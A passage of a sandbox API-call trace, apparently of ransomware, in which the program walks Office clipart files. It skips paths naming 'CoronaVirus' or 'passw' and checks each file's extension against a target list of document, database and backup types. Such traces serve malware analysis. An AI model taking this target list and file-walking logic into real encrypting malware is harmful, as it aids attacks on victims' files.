	[0096.754] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.bmp", _SubStr="CoronaVirus") returned 0x0
	[0096.754] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.bmp", _SubStr="wasse") returned 0x0
	[0096.754] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.bmp", _SubStr="passw") returned 0x0
	[0096.756] malloc (_Size=0x1000) returned 0x51f5098
	[0096.757] _swprintf (in: param_1=0x51f5098, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.bmp") returned 68
	[0096.757] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.bmp", _SubStr="CoronaVirus") returned 0x0
	[0096.757] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.bmp", _SubStr="wasse") returned 0x0
	[0096.757] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.bmp", _SubStr="passw") returned 0x0
	[0097.055] SetThreadPriority (hThread=0xcf8, nPriority=15) returned 1
	[0097.059] wcsncmp (_String1="J", _String2=".", _MaxCount=0x1) returned 28
	[0097.059] wcsncmp (_String1="J0", _String2="..", _MaxCount=0x2) returned 28
	[0097.059] malloc (_Size=0x1000) returned 0x51f0070
	[0097.059] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.bmp") returned 68
	[0097.060] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.bmp", _SubStr="CoronaVirus") returned 0x0
	[0097.060] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.bmp", _SubStr="wasse") returned 0x0
	[0097.060] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.bmp", _SubStr="passw") returned 0x0
	[0097.060] SetThreadPriority (hThread=0xd04, nPriority=15) returned 1
	[0097.062] malloc (_Size=0x1000) returned 0x51f60a0
	[0097.062] _swprintf (in: param_1=0x51f60a0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.bmp") returned 68
	[0097.062] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.bmp", _SubStr="CoronaVirus") returned 0x0
	[0097.062] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.bmp", _SubStr="wasse") returned 0x0
	[0097.062] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.bmp", _SubStr="passw") returned 0x0
	[0097.129] SetThreadPriority (hThread=0xcfc, nPriority=15) returned 1
	[0097.149] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.162] wcsstr (_Str=".bak", _SubStr=".bmp") returned 0x0
	[0097.162] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.162] wcsstr (_Str=".bat", _SubStr=".bmp") returned 0x0
	[0097.162] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.162] wcsstr (_Str=".doc", _SubStr=".bmp") returned 0x0
	[0097.162] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.162] wcsstr (_Str=".jpg", _SubStr=".bmp") returned 0x0
	[0097.162] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.162] wcsstr (_Str=".jpe", _SubStr=".bmp") returned 0x0
	[0097.162] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.163] wcsstr (_Str=".txt", _SubStr=".bmp") returned 0x0
	[0097.163] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.163] wcsstr (_Str=".tex", _SubStr=".bmp") returned 0x0
	[0097.163] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.163] wcsstr (_Str=".dbf", _SubStr=".bmp") returned 0x0
	[0097.163] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.163] wcsstr (_Str=".xls", _SubStr=".bmp") returned 0x0
	[0097.163] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.163] wcsstr (_Str=".cry", _SubStr=".bmp") returned 0x0
	[0097.163] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.163] wcsstr (_Str=".xml", _SubStr=".bmp") returned 0x0
	[0097.163] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.163] wcsstr (_Str=".vsd", _SubStr=".bmp") returned 0x0
	[0097.163] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.163] wcsstr (_Str=".pdf", _SubStr=".bmp") returned 0x0
	[0097.163] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.163] wcsstr (_Str=".csv", _SubStr=".bmp") returned 0x0
	[0097.163] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.163] wcsstr (_Str=".bmp", _SubStr=".bmp") returned=".bmp"
	[0097.163] malloc (_Size=0x1000) returned 0x51f90b8
	[0097.163] _swprintf (in: param_1=0x51f90b8, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.bmp") returned 68
	[0097.163] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.bmp", _SubStr="CoronaVirus") returned 0x0
	[0097.163] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.bmp", _SubStr="wasse") returned 0x0
	[0097.163] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.bmp", _SubStr="passw") returned 0x0
	[0097.164] SetThreadPriority (hThread=0xd00, nPriority=15) returned 1
	[0097.166] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.166] wcsstr (_Str=".bak", _SubStr=".bmp") returned 0x0
	[0097.166] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.166] wcsstr (_Str=".bat", _SubStr=".bmp") returned 0x0
	[0097.166] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.166] wcsstr (_Str=".doc", _SubStr=".bmp") returned 0x0
	[0097.166] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.166] wcsstr (_Str=".jpg", _SubStr=".bmp") returned 0x0
	[0097.166] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.174] wcsstr (_Str=".jpe", _SubStr=".bmp") returned 0x0
	[0097.174] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.174] wcsstr (_Str=".txt", _SubStr=".bmp") returned 0x0
	[0097.174] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.174] wcsstr (_Str=".tex", _SubStr=".bmp") returned 0x0
	[0097.174] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.174] wcsstr (_Str=".dbf", _SubStr=".bmp") returned 0x0
	[0097.174] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.174] wcsstr (_Str=".xls", _SubStr=".bmp") returned 0x0
	[0097.174] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.175] wcsstr (_Str=".cry", _SubStr=".bmp") returned 0x0
	[0097.175] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.175] wcsstr (_Str=".xml", _SubStr=".bmp") returned 0x0
	[0097.175] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.175] wcsstr (_Str=".vsd", _SubStr=".bmp") returned 0x0
	[0097.175] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.175] wcsstr (_Str=".pdf", _SubStr=".bmp") returned 0x0
	[0097.175] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.175] wcsstr (_Str=".csv", _SubStr=".bmp") returned 0x0
	[0097.175] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.175] wcsstr (_Str=".bmp", _SubStr=".bmp") returned=".bmp"
	[0097.175] malloc (_Size=0x1000) returned 0x51f3088
	[0097.175] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.bmp") returned 68
	[0097.175] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.bmp", _SubStr="CoronaVirus") returned 0x0
	[0097.175] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.bmp", _SubStr="wasse") returned 0x0
	[0097.175] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.bmp", _SubStr="passw") returned 0x0
	[0097.176] SetThreadPriority (hThread=0xd10, nPriority=15) returned 1
	[0097.340] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.340] wcsstr (_Str=".bak", _SubStr=".bmp") returned 0x0
	[0097.340] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.340] wcsstr (_Str=".bat", _SubStr=".bmp") returned 0x0
	[0097.340] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.340] wcsstr (_Str=".doc", _SubStr=".bmp") returned 0x0
	[0097.340] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.340] wcsstr (_Str=".jpg", _SubStr=".bmp") returned 0x0
	[0097.340] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.340] wcsstr (_Str=".jpe", _SubStr=".bmp") returned 0x0
	[0097.340] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.340] wcsstr (_Str=".txt", _SubStr=".bmp") returned 0x0
	[0097.340] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.340] wcsstr (_Str=".tex", _SubStr=".bmp") returned 0x0
	[0097.340] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.340] wcsstr (_Str=".dbf", _SubStr=".bmp") returned 0x0
	[0097.340] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.340] wcsstr (_Str=".xls", _SubStr=".bmp") returned 0x0
	[0097.340] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.340] wcsstr (_Str=".cry", _SubStr=".bmp") returned 0x0
	[0097.340] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.340] wcsstr (_Str=".xml", _SubStr=".bmp") returned 0x0
	[0097.340] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.340] wcsstr (_Str=".vsd", _SubStr=".bmp") returned 0x0
	[0097.340] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.340] wcsstr (_Str=".pdf", _SubStr=".bmp") returned 0x0
	[0097.340] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.340] wcsstr (_Str=".csv", _SubStr=".bmp") returned 0x0
	[0097.340] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.340] wcsstr (_Str=".bmp", _SubStr=".bmp") returned=".bmp"
	[0097.340] malloc (_Size=0x1000) returned 0x51f0070
	[0097.340] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.bmp") returned 68
	[0097.340] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.bmp", _SubStr="CoronaVirus") returned 0x0
	[0097.340] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.bmp", _SubStr="wasse") returned 0x0
	[0097.340] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.bmp", _SubStr="passw") returned 0x0
	[0097.343] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.343] wcsstr (_Str=".bak", _SubStr=".bmp") returned 0x0
	[0097.343] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.343] wcsstr (_Str=".bat", _SubStr=".bmp") returned 0x0
	[0097.343] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.343] wcsstr (_Str=".doc", _SubStr=".bmp") returned 0x0
	[0097.343] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.343] wcsstr (_Str=".jpg", _SubStr=".bmp") returned 0x0
	[0097.343] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.343] wcsstr (_Str=".jpe", _SubStr=".bmp") returned 0x0
	[0097.343] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.343] wcsstr (_Str=".txt", _SubStr=".bmp") returned 0x0
	[0097.343] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.352] wcsstr (_Str=".tex", _SubStr=".bmp") returned 0x0
	[0097.352] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.352] wcsstr (_Str=".dbf", _SubStr=".bmp") returned 0x0
	[0097.354] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.354] wcsstr (_Str=".xls", _SubStr=".bmp") returned 0x0
	[0097.354] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.354] wcsstr (_Str=".cry", _SubStr=".bmp") returned 0x0
	[0097.354] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.354] wcsstr (_Str=".xml", _SubStr=".bmp") returned 0x0
	[0097.354] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.354] wcsstr (_Str=".vsd", _SubStr=".bmp") returned 0x0
	[0097.354] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.354] wcsstr (_Str=".pdf", _SubStr=".bmp") returned 0x0
	[0097.354] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.354] wcsstr (_Str=".csv", _SubStr=".bmp") returned 0x0
	[0097.354] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.354] wcsstr (_Str=".bmp", _SubStr=".bmp") returned=".bmp"
	[0097.354] malloc (_Size=0x1000) returned 0x51f3088
	[0097.354] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.bmp") returned 68
	[0097.354] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.bmp", _SubStr="CoronaVirus") returned 0x0
	[0097.354] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.bmp", _SubStr="wasse") returned 0x0
	[0097.354] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.bmp", _SubStr="passw") returned 0x0
	[0097.357] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.357] wcsstr (_Str=".bak", _SubStr=".bmp") returned 0x0
	[0097.357] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.357] wcsstr (_Str=".bat", _SubStr=".bmp") returned 0x0
	[0097.357] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.357] wcsstr (_Str=".doc", _SubStr=".bmp") returned 0x0
	[0097.365] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.365] wcsstr (_Str=".jpg", _SubStr=".bmp") returned 0x0
	[0097.365] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.365] wcsstr (_Str=".jpe", _SubStr=".bmp") returned 0x0
	[0097.365] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.365] wcsstr (_Str=".txt", _SubStr=".bmp") returned 0x0
	[0097.365] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.365] wcsstr (_Str=".tex", _SubStr=".bmp") returned 0x0
	[0097.365] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.365] wcsstr (_Str=".dbf", _SubStr=".bmp") returned 0x0
	[0097.365] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.365] wcsstr (_Str=".xls", _SubStr=".bmp") returned 0x0
	[0097.366] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.366] wcsstr (_Str=".cry", _SubStr=".bmp") returned 0x0
	[0097.366] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.366] wcsstr (_Str=".xml", _SubStr=".bmp") returned 0x0
	[0097.366] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.366] wcsstr (_Str=".vsd", _SubStr=".bmp") returned 0x0
	[0097.366] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.366] wcsstr (_Str=".pdf", _SubStr=".bmp") returned 0x0
	[0097.366] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.366] wcsstr (_Str=".csv", _SubStr=".bmp") returned 0x0
	[0097.366] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.367] wcsstr (_Str=".bmp", _SubStr=".bmp") returned=".bmp"
	[0097.367] malloc (_Size=0x1000) returned 0x51f4090
	[0097.367] _swprintf (in: param_1=0x51f4090, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.bmp") returned 68
	[0097.367] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.bmp", _SubStr="CoronaVirus") returned 0x0
	[0097.367] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.bmp", _SubStr="wasse") returned 0x0
	[0097.367] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101865.bmp", _SubStr="passw") returned 0x0
	[0097.468] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.469] wcsstr (_Str=".bak", _SubStr=".bmp") returned 0x0
	[0097.469] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.469] wcsstr (_Str=".bat", _SubStr=".bmp") returned 0x0
	[0097.469] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.469] wcsstr (_Str=".doc", _SubStr=".bmp") returned 0x0
	[0097.469] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.469] wcsstr (_Str=".jpg", _SubStr=".bmp") returned 0x0
	[0097.477] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.477] wcsstr (_Str=".jpe", _SubStr=".bmp") returned 0x0
	[0097.477] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.479] wcsstr (_Str=".txt", _SubStr=".bmp") returned 0x0
	[0097.479] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.479] wcsstr (_Str=".tex", _SubStr=".bmp") returned 0x0
	[0097.479] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.479] wcsstr (_Str=".dbf", _SubStr=".bmp") returned 0x0
	[0097.479] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.479] wcsstr (_Str=".xls", _SubStr=".bmp") returned 0x0
	[0097.479] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.479] wcsstr (_Str=".cry", _SubStr=".bmp") returned 0x0
	[0097.479] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.479] wcsstr (_Str=".xml", _SubStr=".bmp") returned 0x0
	[0097.479] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.479] wcsstr (_Str=".vsd", _SubStr=".bmp") returned 0x0
	[0097.479] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.479] wcsstr (_Str=".pdf", _SubStr=".bmp") returned 0x0
	[0097.479] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.479] wcsstr (_Str=".csv", _SubStr=".bmp") returned 0x0
	[0097.479] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.479] wcsstr (_Str=".bmp", _SubStr=".bmp") returned=".bmp"
	[0097.480] malloc (_Size=0x1000) returned 0x51f3088
	[0097.480] _swprintf (in: param_1=0x51f3088, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.bmp") returned 68
	[0097.480] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.bmp", _SubStr="CoronaVirus") returned 0x0
	[0097.480] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.bmp", _SubStr="wasse") returned 0x0
	[0097.480] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.bmp", _SubStr="passw") returned 0x0
	[0097.482] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.482] wcsstr (_Str=".bak", _SubStr=".bmp") returned 0x0
	[0097.482] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.482] wcsstr (_Str=".bat", _SubStr=".bmp") returned 0x0
	[0097.482] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.482] wcsstr (_Str=".doc", _SubStr=".bmp") returned 0x0
	[0097.482] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.490] wcsstr (_Str=".jpg", _SubStr=".bmp") returned 0x0
	[0097.490] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.490] wcsstr (_Str=".jpe", _SubStr=".bmp") returned 0x0
	[0097.490] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.490] wcsstr (_Str=".txt", _SubStr=".bmp") returned 0x0
	[0097.490] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.491] wcsstr (_Str=".tex", _SubStr=".bmp") returned 0x0
	[0097.491] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.491] wcsstr (_Str=".dbf", _SubStr=".bmp") returned 0x0
	[0097.493] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.493] wcsstr (_Str=".xls", _SubStr=".bmp") returned 0x0
	[0097.493] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.493] wcsstr (_Str=".cry", _SubStr=".bmp") returned 0x0
	[0097.493] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.493] wcsstr (_Str=".xml", _SubStr=".bmp") returned 0x0
	[0097.493] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.493] wcsstr (_Str=".vsd", _SubStr=".bmp") returned 0x0
	[0097.493] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.493] wcsstr (_Str=".pdf", _SubStr=".bmp") returned 0x0
	[0097.493] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.493] wcsstr (_Str=".csv", _SubStr=".bmp") returned 0x0
	[0097.493] _wcslwr (in: _String=0x313b114 | out: _String=".bmp") returned=".bmp"
	[0097.493] wcsstr (_Str=".bmp", _SubStr=".bmp") returned=".bmp"
	[0097.493] malloc (_Size=0x1000) returned 0x51f0070
	[0097.493] _swprintf (in: param_1=0x51f0070, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.bmp") returned 68
	[0097.493] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.bmp", _SubStr="CoronaVirus") returned 0x0
	[0097.493] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.bmp", _SubStr="wasse") returned 0x0
	[0097.494] wcsstr (_Str="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101867.bmp", _SubStr="passw") returned 0x0
	[0097.496] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.496] wcsstr (_Str=".bak", _SubStr=".wmf") returned 0x0
	[0097.496] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.496] wcsstr (_Str=".bat", _SubStr=".wmf") returned 0x0
	[0097.496] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.496] wcsstr (_Str=".doc", _SubStr=".wmf") returned 0x0
	[0097.496] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.496] wcsstr (_Str=".jpg", _SubStr=".wmf") returned 0x0
	[0097.503] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.503] wcsstr (_Str=".jpe", _SubStr=".wmf") returned 0x0
	[0097.503] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.503] wcsstr (_Str=".txt", _SubStr=".wmf") returned 0x0
	[0097.503] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.503] wcsstr (_Str=".tex", _SubStr=".wmf") returned 0x0
	[0097.503] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.503] wcsstr (_Str=".dbf", _SubStr=".wmf") returned 0x0
	[0097.503] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.503] wcsstr (_Str=".xls", _SubStr=".wmf") returned 0x0
	[0097.503] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.503] wcsstr (_Str=".cry", _SubStr=".wmf") returned 0x0
	[0097.503] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.503] wcsstr (_Str=".xml", _SubStr=".wmf") returned 0x0
	[0097.503] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.504] wcsstr (_Str=".vsd", _SubStr=".wmf") returned 0x0
	[0097.504] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.504] wcsstr (_Str=".pdf", _SubStr=".wmf") returned 0x0
	[0097.506] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.506] wcsstr (_Str=".csv", _SubStr=".wmf") returned 0x0
	[0097.506] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.506] wcsstr (_Str=".bmp", _SubStr=".wmf") returned 0x0
	[0097.506] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.506] wcsstr (_Str=".tif", _SubStr=".wmf") returned 0x0
	[0097.506] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.506] wcsstr (_Str=".1cd", _SubStr=".wmf") returned 0x0
	[0097.506] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.506] wcsstr (_Str=".tax", _SubStr=".wmf") returned 0x0
	[0097.507] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.507] wcsstr (_Str=".gif", _SubStr=".wmf") returned 0x0
	[0097.507] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.507] wcsstr (_Str=".gbr", _SubStr=".wmf") returned 0x0
	[0097.507] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.507] wcsstr (_Str=".png", _SubStr=".wmf") returned 0x0
	[0097.507] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
	[0097.507] wcsstr (_Str=".mdb", _SubStr=".wmf") returned 0x0
	[0097.507] _wcslwr (in: _String=0x313b114 | out: _String=".wmf") returned=".wmf"
